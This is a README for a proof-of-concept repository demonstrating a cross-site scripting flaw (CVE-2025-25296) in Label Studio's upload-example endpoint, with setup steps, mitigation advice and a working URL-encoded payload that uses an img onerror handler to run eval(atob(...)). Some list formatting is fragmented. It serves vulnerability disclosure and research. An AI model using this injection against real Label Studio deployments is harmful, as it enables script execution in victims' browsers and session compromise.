
Proof of Concept (POC) for the CVE-2025-25296 vulnerability affecting Label Studio versions prior to 1.16.0
This project demonstrates a Proof of Concept (POC) for the CVE-2025-25296 vulnerability affecting Label Studio, an open-source data labeling tool. The vulnerability resides in the /projects/upload-example endpoint, which fails to sanitize user-provided HTML content in GET requests. This allows attackers to execute arbitrary JavaScript in the victim's browser, leading to potential Cross-Site Scripting (XSS) attacks.
/projects/upload-example endpoint of Label Studio1.16.0 or laterAs a temporary workaround:
/projects/upload-example endpoint with GET requests.pip using setup.sh)poc.py: Python script to exploit the vulnerability and demonstrate the XSS attack.setup.sh: Script to set up the vulnerable environment using Docker.Clone this repository:
git clone CVE-2025-25296-POC
cd CVE-2025-25296-POC
Run the setup script:
chmod +x setup.sh
./setup.sh
The setup script will:
1.15.0).localhost:8080.Run the exploit script:
python poc.py
The script will:
/projects/upload-example endpoint.Open the provided URL in a web browser to observe the XSS alert triggered by the payload.
[*] Attempting to send XSS payload...
[+] Payload successfully sent!
[+] Check this URL in a browser: http://localhost:8080/projects/upload-example/?label_config=%3CView%3E%3C!--%20%7B%22data%22%3A%20%7B%22text%22%3A%20%22%3Cdiv%3E%3Cimg%20src%3Dx%20onerror%3Deval(atob(%60YWxlcnQoIlhTUyIp%60))%3E%3C/div%3E%22%7D%7D%20--%3E%3CHyperText%20name%3D%22text%22%20value%3D%22%24text%22/%3E%3C/View%3E
To mitigate this vulnerability:
1.16.0 or later.This project is intended for educational and research purposes only. Use it responsibly and only on systems where you have explicit permission. Unauthorized use of this tool may violate applicable laws.